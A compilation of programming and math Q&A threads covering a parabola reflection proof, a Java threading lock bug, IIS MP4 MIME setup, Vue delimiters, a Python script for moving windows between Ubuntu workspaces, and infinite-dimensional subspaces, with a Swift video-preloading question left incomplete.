Now suppose that a source of light is placed at the focus of a parabola, and assume that each ray of light leaving the focus is reflected off the parabola in such a way that it makes equal angles with the tangent line at the point of reflection (the angle of incidence equals the angle
of reflection). Use (b) to show that after reflection each ray points vertically upward, parallel to the axis.

My analysis is here. But I don't know how to prove that angle $b = 90 \deg$:
Comment: You mean $180-2a$?
Comment: You're not going to have much luck in showing $b$ is 90 degrees. How would you recover $b$ using only $a$ (especially since $a$ may vary)? It's a theorem in classical geometry that if you have two lines that are cut by a transversal line, then the two original lines are parallel if and only if the transversal cuts equal corresponding angles at the points of intersection. You've already shown this. More information on this wiki page: https://en.wikipedia.org/wiki/Transversal_(geometry)
Comment: Does this answer your question? [Geometric/analytic proof of the parabola mirror focus](https://math.stackexchange.com/questions/2289398/geometric-analytic-proof-of-the-parabola-mirror-focus)
Answer: Here is a purely analytical solution. Canonical parabola equation is
$$
y^2=2px
$$
with focus in $(p/2,0)$. The tangent line to point $(x_0,y_0)$ is
$$
px - y_0 y+px_0=0
$$
That is all we need. Tangent line directional vector is $\vec{u}=\{y_0,p\}$. Vector $\vec{v}=\{p,-y_0\}$ is orthogonal to $\vec{u}$ and $u=|\vec{u}|=|\vec{v}|$. Consider vector $\vec{q}=\{p/2-x_0,0\}$ directional for the line coming through the focus $(p/2,0)$ and point $(x_0,y_0)$ belonging to the parabola. Its decomposition in directions of $\vec{u}$ and $\vec{v}$ looks as follows:
$$
\vec{q}=\frac{\vec{q}\cdot\vec{u}}{uq}\vec{u}+\frac{\vec{q}\cdot\vec{v}}{uq}\vec{v}
$$
Now the important part: directional vector $\vec{q}'$ of the reflection would have $\vec{u}$-component opposite to that of $\vec{q}$ and $\vec{v}$-component the same. Thus,
$$
\vec{q}'=-\frac{\vec{q}\cdot\vec{u}}{uq}\vec{u}+\frac{\vec{q}\cdot\vec{v}}{uq}\vec{v}
$$
All it's left is to calculate the relevant dot-products and to see that $y$-component of $\vec{q}'$ is zero. The dot-products:
$$
\vec{q}\cdot\vec{u}=(p/2-x_0)y_0-y_0p=-y_0(x_0+p/2)
$$
and
$$
\vec{q}\cdot\vec{v}=(p/2-x_0)p+y_0^2=p/2-px_0+2px_0=p(x_0+p/2)
$$
Finally, $y$-component of $\vec{q}'$ is
$$
\frac{1}{qu}\left[y_0(x_0+p/2)p+p(x_0+p/2)(-y_0)\right]=0
$$
QED
Answer: You have that triangle with vertices $(_0,_0),(0,−_0),(0,)$ is isosceles. Also you have that the angle of incidence is equal to the angle of reflection.
It is easy to prove that two lines are parallel if the corresponding angles formed by Transversal line are equal.
So y-axis and line $OQ$ with transversal line $OT$ which is tangent line in this case have equal corresponding angles $\angle ODF$ = $\angle TOQ$

Prove reflection property of parabola


Main method waits mid-execution for threads to complete. Why?

Question: I am writing an elevator simulator that runs each elevator in a separate thread. Each elevator owns it's own ArrayList of destinations. In my main method I am calling on elevator 2 to move to floor 14. While it is traveling to 14 I tell it stop at 13 (which it does before 14). While it is traveling to 13 and 14 I also tell it to travel to 15. However, I've discovered my main method stops after the request for floor 14, waits for the elevator to reach 14, and then finally executes the request for floor 15.
Why is it doing this? I can't figure it out.
Here is my output:
00:00:00:000  Creating building...
00:00:00:012  Building created - 16 floors, 4 elevators
00:00:00:014  Elevator 1 going to Floor 11 for UP request [Floor Requests: 11, ][Rider Requests:]
00:00:00:015  Elevator 1 moving from Floor 1 to Floor 2 [Floor Requests: 11, ][Rider Requests:]
00:00:00:520  Elevator 1 moving from Floor 2 to Floor 3 [Floor Requests: 11, ][Rider Requests:]
00:00:01:018  Elevator 2 going to Floor 14 for UP request [Floor Requests: 14, ][Rider Requests:]
00:00:01:020  Elevator 2 moving from Floor 1 to Floor 2 [Floor Requests: 14, ][Rider Requests:]
00:00:01:021  Elevator 1 moving from Floor 3 to Floor 4 [Floor Requests: 11, ][Rider Requests:]
00:00:01:521  Elevator 2 going to Floor 13 for UP request [Floor Requests: 13, 14, ][Rider Requests:]
00:00:01:523  Elevator 1 moving from Floor 4 to Floor 5 [Floor Requests: 11, ][Rider Requests:]
00:00:01:523  Elevator 2 moving from Floor 2 to Floor 3 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:02:025  Elevator 1 moving from Floor 5 to Floor 6 [Floor Requests: 11, ][Rider Requests:]
00:00:02:026  Elevator 2 moving from Floor 3 to Floor 4 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:02:529  Elevator 1 moving from Floor 6 to Floor 7 [Floor Requests: 11, ][Rider Requests:]
00:00:02:530  Elevator 2 moving from Floor 4 to Floor 5 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:03:032  Elevator 1 moving from Floor 7 to Floor 8 [Floor Requests: 11, ][Rider Requests:]
00:00:03:032  Elevator 2 moving from Floor 5 to Floor 6 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:03:537  Elevator 1 moving from Floor 8 to Floor 9 [Floor Requests: 11, ][Rider Requests:]
00:00:03:539  Elevator 2 moving from Floor 6 to Floor 7 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:04:040  Elevator 1 moving from Floor 9 to Floor 10 [Floor Requests: 11, ][Rider Requests:]
00:00:04:042  Elevator 2 moving from Floor 7 to Floor 8 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:04:542  Elevator 1 moving from Floor 10 to Floor 11 [Floor Requests: 11, ][Rider Requests:]
00:00:04:544  Elevator 2 moving from Floor 8 to Floor 9 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:05:047  Elevator 2 moving from Floor 9 to Floor 10 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:05:047  Elevator 1 Doors Open
00:00:05:551  Elevator 1 Doors Close
00:00:05:550  Elevator 2 moving from Floor 10 to Floor 11 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:06:054  Elevator 2 moving from Floor 11 to Floor 12 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:06:556  Elevator 2 moving from Floor 12 to Floor 13 [Floor Requests: 13, 14, ][Rider Requests:]
00:00:07:062  Elevator 2 Doors Open
00:00:07:566  Elevator 2 Doors Close
00:00:07:567  Elevator 2 moving from Floor 13 to Floor 14 [Floor Requests: 14, ][Rider Requests:]
00:00:08:069  Elevator 2 Doors Open
00:00:08:570  Elevator 2 Doors Close
00:00:08:571  Let's see when this is being called00:00:08:572  Elevator 2 going to Floor 15 for UP request [Floor Requests: 15, ][Rider Requests:]
00:00:08:572  Elevator 2 moving from Floor 14 to Floor 15 [Floor Requests: 15, ][Rider Requests:]
00:00:09:076  Elevator 2 Doors Open
00:00:09:582  Elevator 2 Doors Close

Main method:
public class ElevatorSimulatorMain {
private static long startTime = System.currentTimeMillis();

public static void main(String[] args) {

    // make a building with elevators
    System.out.println(getTimeStamp() + "Creating building...");
    Building testBuilding = new Building(16, 4); //16 floors and 4 elevators
    System.out.printf(getTimeStamp()
            + "Building created - %d floors, %d elevators\n",
            testBuilding.getNumFloors(), testBuilding.getNumElevators());

    // create a thread for each elevator
    for (int i = 1; i <= testBuilding.getNumElevators(); i++) {
        Thread t = new Thread(testBuilding.getPassengerElevatorbyID(i));
        t.start();
    }

    // Elevator 1 to floor 11
    try {
        testBuilding.getController().sendElevator(11, 1);
        Thread.sleep(1000);
    } catch (InterruptedException ex) {
        Logger.getLogger(ElevatorSimulatorMain.class.getName()).log(Level.SEVERE, null, ex);
    }

    // Elevator 2 to floor 14
    try {
        testBuilding.getController().sendElevator(14, 2);
        Thread.sleep(500);
    } catch (InterruptedException ex) {
        Logger.getLogger(ElevatorSimulatorMain.class.getName()).log(Level.SEVERE, null, ex);
    }

    // Elevator 2 to floor 13 while still in transit to floor 14
    try {
        testBuilding.getController().sendElevator(13, 2);
    } catch (InterruptedException ex) {
        Logger.getLogger(ElevatorSimulatorMain.class.getName()).log(Level.SEVERE, null, ex);
    }

    System.out.printf(ElevatorSimulatorMain.getTimeStamp() + "Let's see when this is being called");
    // Elevator 2 to floor 15 while still in transit to floor 13
    try {
        testBuilding.getController().sendElevator(15, 2);
    } catch (InterruptedException ex) {
        Logger.getLogger(ElevatorSimulatorMain.class.getName()).log(Level.SEVERE, null, ex);
    }
}

PassengerElevator Thread
public PassengerElevator(int elevID) {
    this.elevID = elevID;
    travelSpeed = 500;  // in milliseconds
    doorSpeed = 500;    // in milliseconds
    currentFloor = 1;
    defaultFloor = 1;
    currentState = Direction.IDLE;
    tempDestinations = new ArrayList<>();
    upDestinations = new ArrayList<>();
    downDestinations = new ArrayList<>();
}

@Override
public void run() {

    boolean running = true; // flag for keeping the thread running

    while (running) {
        try {
            synchronized (tempDestinations) {
                if (upDestinations.isEmpty() && downDestinations.isEmpty()){
                    tempDestinations.wait();
                    if (!downDestinations.isEmpty()) {
                        processDownRequest();
                    }
                    else if (!upDestinations.isEmpty()) {
                        processUpRequest();
                    }
                }
            }
        }
        catch (InterruptedException ex) {
            System.out.println("Interrupted! Going back to check for " +
                    "requests/wait");
        }
    }
}

/**
 * Make elevator go up one floor. Takes travelSpeed time
 * @throws InterruptedException
 */
@Override
public void moveUp() throws InterruptedException {
    setCurrentFloor(currentFloor++);
    Thread.sleep(travelSpeed);
}

/**
 * Make elevator go down one floor. Takes travelSpeed time
 * @throws InterruptedException
 */
@Override
public void moveDown() throws InterruptedException{
    setCurrentFloor(currentFloor--);
    Thread.sleep(travelSpeed);
}

/**
 * Make elevator door open for doorSpeed time. When door is open people
 * move into elevator
 * @throws InterruptedException
 */
@Override
public void openDoors() throws InterruptedException{
    System.out.printf(ElevatorSimulatorMain.getTimeStamp() + "Elevator %d "
            + "Doors Open\n", elevID);
    Thread.sleep(doorSpeed);
    System.out.printf(ElevatorSimulatorMain.getTimeStamp() + "Elevator %d "
            + "Doors Close\n", elevID);
}

/**
 * Moves the elevator up to the first destination in upDestinations.
 * When it gets there, it removes the destination from upDestinations.
 * @throws InterruptedException
 */
private void processUpRequest() throws InterruptedException {

    while (!upDestinations.isEmpty()) {
        if (currentFloor != upDestinations.get(0)) {
            currentState = Direction.UP;
            System.out.printf(ElevatorSimulatorMain.getTimeStamp()
                    + "Elevator %d moving from Floor %d to Floor %d "
                    + "[Floor Requests: %s][Rider Requests:]\n", elevID,
                    currentFloor, ++currentFloor,
                    printRequests(upDestinations));
            moveUp();
        }
        else {
            upDestinations.remove(0);
            openDoors();
        }
    }
    currentState = Direction.IDLE;
}

/**
 * Moves the elevator down to the first destination in downDestinations.
 * When it gets there, it removes the destination from downDestinations.
 * @throws InterruptedException
 */
private void processDownRequest() throws InterruptedException {

    while (!downDestinations.isEmpty()) {
        if (currentFloor != downDestinations.get(0)) {
            currentState = Direction.DOWN;
            System.out.printf(ElevatorSimulatorMain.getTimeStamp()
                    + "Elevator %d moving from Floor %d to Floor %d "
                    + "[Floor Requests: %s][Rider Requests:]\n", elevID,
                    currentFloor, --currentFloor,
                    printRequests(downDestinations));
            moveDown();
        }
        else {
            downDestinations.remove(0);
            openDoors();
        }
    }
    currentState = Direction.IDLE;
}

/**
 * add a destination for the elevator to stop at
 * @param floor for the elevator to travel to
 */
public void addDestination(int floor) {

    // if elevator is moving down
    if (!downDestinations.isEmpty() && currentState == Direction.DOWN) {
        addDestinationWhenMovingDown(floor);
    }

    // if elevator is moving UP
    else if (!upDestinations.isEmpty() && currentState == Direction.UP) {
        addDestinationWhenMovingUp(floor);
    }

    // if elevator is IDLE
    else {
        addDestinationWhenIdle(floor);
    }

    /*
    this is just an object to conveniently call on to indicate there must
    have been a destination added since you cannot call wait on
    upDestinations and downDestinations at the same time.
    */
    synchronized (tempDestinations) {
        tempDestinations.notifyAll();
    }
}

/**
 * Handle adding a destination when the elevator state is idle.
 * @param floor - the floor the request was made on
 */
private void addDestinationWhenIdle(int floor) {

    // request to go UP
    if (floor > currentFloor) {
        upDestinations.add(floor);
        System.out.printf(ElevatorSimulatorMain.getTimeStamp()
                + "Elevator %d going to Floor %d for UP request"
                + " [Floor Requests: %s][Rider Requests:]\n",elevID,
                upDestinations.get(0),
                printRequests(upDestinations));
    }

    // request to go DOWN
    else if (floor < currentFloor) {
            downDestinations.add(floor);
            System.out.printf(ElevatorSimulatorMain.getTimeStamp()
                    + "Elevator %d going to Floor %d for DOWN request"
                    + " [Floor Requests: %s][Rider Requests:]\n",elevID,
                    downDestinations.get(0),
                    printRequests(downDestinations));
    }

    // already on that floor, do nothing
    else {}
}

/**
 * Handle adding a destination when the elevator is moving up. Checks to see
 * if request is in the destination list already. If it isn't, it adds it to
 * the list and sorts the list in order of when the elevator should go first
 * @param floor - the floor the request was made on
 */
private void addDestinationWhenMovingUp(int floor) {
    // if it isn't already in the list, add it and sort it.
    // do nothing if it is already in the list
    if (!upDestinations.contains(floor)) {
        upDestinations.add(floor);
        Collections.sort(upDestinations);
        System.out.printf(ElevatorSimulatorMain.getTimeStamp()
                + "Elevator %d going to Floor %d for UP request"
                + " [Floor Requests: %s][Rider Requests:]\n",elevID,
                upDestinations.get(0),
                printRequests(upDestinations));
    }
}

/**
 * Handle adding a destination when the elevator is moving down. Checks to
 * see if request is in the destination list already. If it isn't, it adds
 * it to the list and sorts the list in order of when the elevator should go
 * first.
 * @param floor - the floor the request was made on
 */
private void addDestinationWhenMovingDown(int floor) {
    // if it isn't already in the list, add it and sort it.
    // do nothing if it is already in the list
    if (!downDestinations.contains(floor)) {
        downDestinations.add(floor);
        Collections.sort(upDestinations);
        Collections.reverse(upDestinations);
        System.out.printf(ElevatorSimulatorMain.getTimeStamp()
                + "Elevator %d going to Floor %d for DOWN request"
                + " [Floor Requests: %s][Rider Requests:]\n",elevID,
                downDestinations.get(0),
                printRequests(downDestinations));
    }
}

Comment: Please post the solution you found as an answer, not as an update to your question. Otherwise, people will think that this question is still open.
Answer: SOLVED: The locked tempDestinationsList was holding the lock while the elevator movement methods were trying to execute. I changed the lock to release and then the methods for processes request were called.
Here is the fixed snippet of code: @Override public void run() {
boolean running = true; // flag for keeping the thread running

while (running) {
    try {
        synchronized (tempDestinations) {
            if (upDestinations.isEmpty() && downDestinations.isEmpty()){
                tempDestinations.wait();
            }
        }
        if (!downDestinations.isEmpty()) {
            processDownRequest();
        }
        else if (!upDestinations.isEmpty()) {
            processUpRequest();
        }
    }
    catch (InterruptedException ex) {
        System.out.println("Interrupted! Going back to check for " +
                "requests/wait");
    }
}


html5 video tag not working when i published to iis server

Question: I have built a asp.net site with c# code behind. Everything works when i publish via VS to my server which uses IIS7 except my video tag running a mp4 video.
It works when i run it locally but not when published to server, just a black box where it should be.
The video src is relative path and the video is included in the solution and i see it is in the web servers folder. My target browser is chrome but ideally i dont want it limited to this - at present it fails on chrome and ie, havnt checked any others.
my video tag

            <video id="splashVideo" runat="server" width="50%" height="50%" autoplay>
                <source src="splash.mp4" type="video/mp4">
            </video>

As this is not using anythng other than html i havnt included any other ocde except below but let me know if anything else is pertinent, this may probably be a permissions issue or iss issue.
HTML head and meta tags
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="mysite.aspx.cs" Inherits="img_mysite" %>
<%@ Register assembly="mysiteCustomButton" namespace="mysiteCustomButton" tagprefix="cc1" %>

<link href="mysite.css" rel="stylesheet" type="text/css" />

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <title>my site</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

Answer: Fixed it. IIS5 issue - needed to add new MIME type to my IIS server mySite setup.
IIS->->MIME Types->Confirm no entry for the video file type->add "mp4"/"video/m4"


Correct way to reference up to date Vue delimiters in a component

Question: I'm authoring a component for Vue.js applications and have run into a problem where if the delimiters are changed in the application code, the plugin template obviously does not work correctly (this was picked up immediately because we alter the Vue delimiters to not conflict with Twig template tokens).
My component for the sake of example looks like:
Vue.component('example', {
    template: 'Something with {{ normal_delimiters }}'
});

Assuming some standard

Referencing the Vue.config.delimiters option in the component code will yield the default ({{ }}) as they aren't changed until the application code farther down the page.
There are a few roads I could invest in looking at like using the ready handler on the component and somehow updating the template string, forcing the delimiters to be changed as the first piece of JavaScript in the page (very bad experience) etc, but thought I'd ask if there was a "correct" way to do this.

It looks like a solution to this was discussed but abandoned.

It doesn't look like accessing or modifying this.$template inside any of the lifecycle hooks has any effect.
Comment: According to https://github.com/vuejs/vue/blob/next/src/entries/web-runtime-with-compiler.js#L57, in Vue 2.0's web compiler it might be possible to do this by setting $options.delimiters = [open, close] on a Component. Untested though and I doubt this works with vue-loader, vueify, and similar.
Answer: The release of Vue 2 solves this problem entirely by having the delimiters configurable on a per-component basis.


How can I move a window from an invisible viewport to the current one, without switching viewports

Question: I use 15.04 with Unity and 4 virtual desktops.
When I have opened a window on desktop 1 and am viewing desktop 2 (for example), is there a way to easily get that window from desktop 1 to show up on desktop 2 without switching the view to desktop 1?
So I want to get a window from a currently invisible desktop to my active desktop without seeing the invisible desktop (and eventually other opened windows on that one).
Is there an easy way to achieve this?
Comment: Can very wel be done. If noone answered before, I will when I get home, but it might take a while :)
Comment: Hi Byte Commander, posted my answer. Please let me know if anything is unclear.
Answer: List windows, choose one to move to the current workspace
When the script below is called, it will list all windows on all workspaces. Pick one and press OK to move the window to the current workspace and raise it. By default, it moves the window to position 100 (x), 100 (y)
The script is relatively simple as a result of the use of both wmctrl and xdotool. While wmctrl is used to list all windows, xdotool simply moves them to a predefined position on the current workspace "without asking questions" on the window's size (unlike wmctrl) and relative positions of both workspaces to each other.
A more precise positioning of the window, according to the position on its original workspace, would very well be possible, but would also multiply the needed code (like e.g. here). I assume in most situations, this will do.
An example:
I am on workspace 8, while I have a gedit window on workspace 1. Calling the script lists the windows:

picking the gedit window will move it to the current workspace:

The script
#!/usr/bin/env python3
import subprocess
import socket
import time

def get(command):
    return subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8")

def check_window(w_id):
    w_type = get("xprop -id "+w_id)
    if " _NET_WM_WINDOW_TYPE_NORMAL" in w_type:
        return True
    else:
        return False

# split wmctrl output by machine name
wlist = [l.split(socket.gethostname()) for l in get("wmctrl -l").splitlines()]
# extract window -id from first section
wlist = [[wlist[i][0].split()[0], wlist[i][-1].strip()] for i, l in enumerate(wlist)]
# filter only "real, normal" windows
wlist = [w for w in wlist if check_window(w[0]) == True]
# create columns for zenity list
cols = (" ").join(['"'+w[1]+'" '+'"'+w[0]+'"' for w in wlist])
# calculate height and width for the zenity window, according to window names and list length
h = str(140+(len(wlist)*23))
w = str((max([len(w[-1]) for w in wlist])*8))
# define the zenity window
cmd = "zenity --list --hide-column=2 --print-column=2 "+\
      "--title='Window list' --column='Current windowlist' "+\
      "--column='wid' --height="+h+" --width="+w+" "+cols

try:
    # call the window
    w_id = get(cmd).split("|")[-1].strip()
    # move the selected window to the current workspace
    subprocess.Popen(["xdotool", "windowmove", "--sync", w_id, "100", "100"])
    # raise it (the command below alone should do the job, but sometimes fails
    # on firefox windows without first moving the window).
    subprocess.Popen(["wmctrl", "-iR", w_id])
except subprocess.CalledProcessError:
    pass

How to use

The script needs both wmctrl and xdotool
sudo apt-get install wmctrl xdotool

copy the script into an empty file, svae it as move_windows.py
Test-run it by the command:
python3 /path/to/move_windows.py

a window should appear, listing currently opened windows:

pick one to see if it is moved to the current workspace and raised correctly.
If all works fine, ad it to a shortcut key: choose: System Settings > "Keyboard" > "Shortcuts" > "Custom Shortcuts". Click the "+" and add the command:
python3 /path/to/move_windows.py

Note
The size of the zenity window, listing current windows, is set automatically. The script looks for the longest window name and the number of rows (windows) and sets the size accordingly.

EDIT
As requested in a comment, below a version in which the zenity list- window includes more information: de current workspace of the targeted window(s) and the application it belongs to.

As mentioned above, the information on the relative/absolute workspace positions leads to a more "substantial" amount of code, but luckily I could use this earlier answer as a base.
How to use
The use is pretty much the same as the first version of the script (above), but the command needs to include the preferred sorting option. Run it by one of the commands:
python3 /path/to/move_windows.py -app

to sort the list by application,
python3 /path/to/move_windows.py -ws

to sort the list by workspace, and
python3 /path/to/move_windows.py -win

to sort the list by window name.
The script:
#!/usr/bin/env python3
import subprocess
import socket
import sys

arg = sys.argv[1]
# list (column) header titles and their (data) position in the produced window data list
cols = [["Workspace", -1], ["Application name", -2] , ["Window name", -3]]
# rearrange columns, depending on the chosen option
if arg == "-app":
    cols = [cols[1], cols[2], cols[0]]
elif arg == "-ws":
    cols = [cols[0], cols[2], cols[1]]
elif arg == "-win":
    cols = [cols[2], cols[1], cols[0]]
# extract headers, list positions, to be used in the zenity list
col1 = cols[0][0]; i1 = cols[0][1]
col2 = cols[1][0]; i2 = cols[1][1]
col3 = cols[2][0]; i3 = cols[2][1]
# just a helper function
get = lambda cmd: subprocess.check_output([
    "/bin/bash", "-c", cmd
    ]).decode("utf-8")
# analyse viewport data, to be able to calculate relative/absolute position of windows
# and current viewport
def get_spandata():
    xr = get("xrandr").split(); pos = xr.index("current")
    res = [int(xr[pos+1]), int(xr[pos+3].replace(",", "") )]
    spandata = get("wmctrl -d").split()
    span = [int(n) for n in spandata[3].split("x")]
    cols = int(span[0]/res[0]); rows = int(span[1]/res[1])
    curr_vector = [int(n) for n in spandata[5].split(",")]
    curr_viewport = int((curr_vector[1]/res[1])*cols + (curr_vector[0]/res[0])+1)
    return {"resolution": res, "n_columns": cols, "vector": curr_vector, "current_viewport": curr_viewport}

posdata = get_spandata()
vector = posdata["vector"]; cols = posdata["n_columns"]
res = posdata["resolution"]; currvp = posdata["current_viewport"]
# function to distinguish "normal" windows from other types (like the desktop etc)
def check_window(w_id):
    w_type = get("xprop -id "+w_id)
    if " _NET_WM_WINDOW_TYPE_NORMAL" in w_type:
        return True
    else:
        return False
# split windowdata by machine name
mach_name = socket.gethostname()
wlist = [[l.strip() for l in w.split(mach_name)] for w in get("wmctrl -lpG").splitlines()]
# split first section of window data
for i, w in enumerate(wlist):
    wlist[i][0] = wlist[i][0].split()
# filter only "real" windows
real_wlist = [w for w in wlist if check_window(w[0][0]) == True]
# adding the viewport to the window's data
for w in real_wlist:
    w.append(get("ps -p "+w[0][2]+" -o comm=").strip())
    loc_rel = [int(n) for n in w[0][3:5]]
    loc_abs = [loc_rel[0]+vector[0], loc_rel[1]+vector[1]]
    abs_viewport = int((loc_abs[1]/res[1])*cols + (loc_abs[0]/res[0])+1)
    abs_viewport = str(abs_viewport)+"*" if abs_viewport == currvp else str(abs_viewport)
    w.append(abs_viewport)
# set sorting rules
if arg == "-app":
    real_wlist.sort(key=lambda x: x[-2])
elif arg == "-ws":
    real_wlist.sort(key=lambda x: x[-1])
elif arg == "-win":
    real_wlist.sort(key=lambda x: x[-3])
# calculate width and height of the zenity window:
# height = 140px + 23px per line
h = str(140+(len(real_wlist)*23))
# width = 250px + 8px per character (of the longest window title)
w = str(250+(max([len(w[-3]) for w in real_wlist])*8))
# define the zenity window's content
cmd = "zenity --list --hide-column=4 --print-column=4 --title='Window list' "\
      "--width="+w+" --height="+h+" --column='"+col1+"' --column='"+col2+"' --column='"+col3+\
      "' --column='w_id' "+(" ").join([(" ").join([
          '"'+w[i1]+'"','"'+w[i2]+'"','"'+w[i3]+'"','"'+w[0][0]+'"'
          ]) for w in real_wlist])
# finally, call the window list
try:
    w_id = subprocess.check_output(["/bin/bash", "-c", cmd]).decode("utf-8").split("|")[0]
    subprocess.Popen(["xdotool", "windowmove", "--sync", w_id, "100", "100"])
    subprocess.Popen(["wmctrl", "-iR", w_id])
except subprocess.CalledProcessError:
    pass

EDIT 2: 15.04 specific
The output of the used ps command seems to have changed for gnome-terminal in 15.04. Therefore, in 15.04, the application name of gnome-terminal was not displayed correctly in the script above. The version below derives the application name from the  WM_CLASS, as in the output of the xprop command:

The usage is exactly the same as in the (second) script above:
#!/usr/bin/env python3
import subprocess
import socket
import sys

arg = sys.argv[1]
# list (column) header titles and their (data) position in the produced window data list
cols = [["Workspace", -1], ["Application name", -2] , ["Window name", -3]]
# rearrange columns, depending on the chosen option
if arg == "-app":
    cols = [cols[1], cols[2], cols[0]]
elif arg == "-ws":
    cols = [cols[0], cols[2], cols[1]]
elif arg == "-win":
    cols = [cols[2], cols[1], cols[0]]
# extract headers, list positions, to be used in the zenity list
col1 = cols[0][0]; i1 = cols[0][1]
col2 = cols[1][0]; i2 = cols[1][1]
col3 = cols[2][0]; i3 = cols[2][1]
# just a helper function
get = lambda cmd: subprocess.check_output([
    "/bin/bash", "-c", cmd
    ]).decode("utf-8")
# analyse viewport data, to be able to calculate relative/absolute position of windows
# and current viewport
def get_spandata():
    xr = get("xrandr").split(); pos = xr.index("current")
    res = [int(xr[pos+1]), int(xr[pos+3].replace(",", "") )]
    spandata = get("wmctrl -d").split()
    span = [int(n) for n in spandata[3].split("x")]
    cols = int(span[0]/res[0]); rows = int(span[1]/res[1])
    curr_vector = [int(n) for n in spandata[5].split(",")]
    curr_viewport = int((curr_vector[1]/res[1])*cols + (curr_vector[0]/res[0])+1)
    return {"resolution": res, "n_columns": cols, "vector": curr_vector, "current_viewport": curr_viewport}

posdata = get_spandata()
vector = posdata["vector"]; cols = posdata["n_columns"]
res = posdata["resolution"]; currvp = posdata["current_viewport"]
# function to distinguish "normal" windows from other types (like the desktop etc)
def check_window(w_id):
    w_type = get("xprop -id "+w_id)
    if " _NET_WM_WINDOW_TYPE_NORMAL" in w_type:
        cl = [l.replace('"', '').split(",")[-1].strip()\
              for l in w_type.splitlines() if "WM_CLASS(STRING)" in l][0]
        return (True, cl)
    else:
        return (False, "")
# split windowdata by machine name
mach_name = socket.gethostname()
wlist = [[l.strip() for l in w.split(mach_name)] for w in get("wmctrl -lpG").splitlines()]
# split first section of window data
for i, w in enumerate(wlist):
    wlist[i][0] = wlist[i][0].split()
# filter only "real" windows
real_wlist = [w+[check_window(w[0][0])[1]] for w in wlist if check_window(w[0][0])[0] == True]
# adding the viewport to the window's data
for w in real_wlist:
    loc_rel = [int(n) for n in w[0][3:5]]
    loc_abs = [loc_rel[0]+vector[0], loc_rel[1]+vector[1]]
    abs_viewport = int((loc_abs[1]/res[1])*cols + (loc_abs[0]/res[0])+1)
    abs_viewport = str(abs_viewport)+"*" if abs_viewport == currvp else str(abs_viewport)
    w.append(abs_viewport)
# set sorting rules
if arg == "-app":
    real_wlist.sort(key=lambda x: x[-2])
elif arg == "-ws":
    real_wlist.sort(key=lambda x: x[-1])
elif arg == "-win":
    real_wlist.sort(key=lambda x: x[-3])
# calculate width and height of the zenity window:
# height = 140px + 23px per line
h = str(140+(len(real_wlist)*23))
# width = 250px + 8px per character (of the longest window title)
w = str(250+(max([len(w[-3]) for w in real_wlist])*8))
# define the zenity window's content
cmd = "zenity --list --hide-column=4 --print-column=4 --title='Window list' "\
      "--width="+w+" --height="+h+" --column='"+col1+"' --column='"+col2+"' --column='"+col3+\
      "' --column='w_id' "+(" ").join([(" ").join([
          '"'+w[i1]+'"','"'+w[i2]+'"','"'+w[i3]+'"','"'+w[0][0]+'"'
          ]) for w in real_wlist])
# finally, call the window list
try:
    w_id = subprocess.check_output(["/bin/bash", "-c", cmd]).decode("utf-8").split("|")[0]
    subprocess.Popen(["xdotool", "windowmove", "--sync", w_id, "100", "100"])
    subprocess.Popen(["wmctrl", "-iR", w_id])
except subprocess.CalledProcessError:
    pass

Comment: Wonderful what you always hack together! :D I am impressed. One question: The outputted window titles - could they be reformatted to e.g. show also the desktop number they're on and the application name (e.g. for the Terminal)?
Comment: @ByteCommander I had the feeling you would ask :). Luckily, I could use the linked answer (script) as a base, but change its functionality.
Comment: I modified `elif arg == "-ws": cols = [cols[0], cols[2], cols[1]]` to `elif arg == "-ws": cols = [cols[0], cols[1], cols[2]]` to change the column order. One thing I noticed though: http://i.imgur.com/wBSTi8f.png shows that it somehow cuts long application names off. It seems not to do that on your screen shot though. Any idea what might be different there? It was already a problem before I modified the column order.
Comment: I see no change after replacing the line. And another thing: my monitor flashes every time I launch that second version of your script, but it does that with many applications, e.g. unity-control-center, qtox or inxi too. I guess you can't fix that except by going back to the first script version...
Comment: @ByteCommander I have no explanation for that, only that it doesn't on my system. Probably some kind of minor incompatibility of the graphics driver.
Comment: Yes, probably. But the cut off lines are still not fixed. Any other idea?
Comment: @ByteCommander see latest update. Application names should be "decent" now :)
Comment: Works like a dream, thank you! No more feature-requests. ;)


subspace of infinite dimensional vector spaces

Question: My question is Is it true that
if $X$ is infinite dimensional vector space and $P$ is subspace of $X$ and $P$ is isomorphic to $X$ then $P$=$X$
Comment: No.  The space of all polynomials over $\mathbb R$ is isomorphic to the subspace consisting of all multiples of $x$.
Comment: More abstractly, the vector space over a field $\mathbb F$ with basis $\{x_1,x_2,\cdots\}$ is isomorphic to the subspace with basis $\{x_2,x_3,\cdots\}$ with the isomorphism given by taking $x_i$ to $x_{i+1}$.
Comment: @lulu Why don't you post this as an answer?
Answer: As requested in the comments:
The answer is no.
To see some examples, consider the space of all polynomials with real coefficients and let $P$ be the subspace consisting of those polynomials divisible by $x$.  Those spaces are isomorphic under the map $p(x)\mapsto xp(x)$.
More abstractly, consider the vector space over a field $\mathbb F$ with basis $x_0,x_1,x_2,\cdots$ and let $P$ be the subspace with basis $x_1,x_2,\cdots$.  These are isomorphic under the map which takes $x_i$ to $x_{i+1}$.
(Note:  using the basis $1,x,x^2,\cdots$ for the polynomials you can see that the first example is an instance of the second).


swift - pre-download videos like the Instagram app

Question: Currently, I have a video feed with streaming video URLs from a video hosting service. I want to play the videos as soon as a cell appears on the screen but with this approach is not possible because we always have buffering time.
I was checking this behavior on Instagram (iOS) and if we open it and wait for few to load the feed and quickly switch to airplane mode, we can see all video posts have a few seconds of each video pre-downloaded. If we wait on a video it's frozen after this pre-downloaded part is played. The Instagram app is fetching their feed and start pre-downloading all their videos to be able to start as soon as a cell appears on the screen.
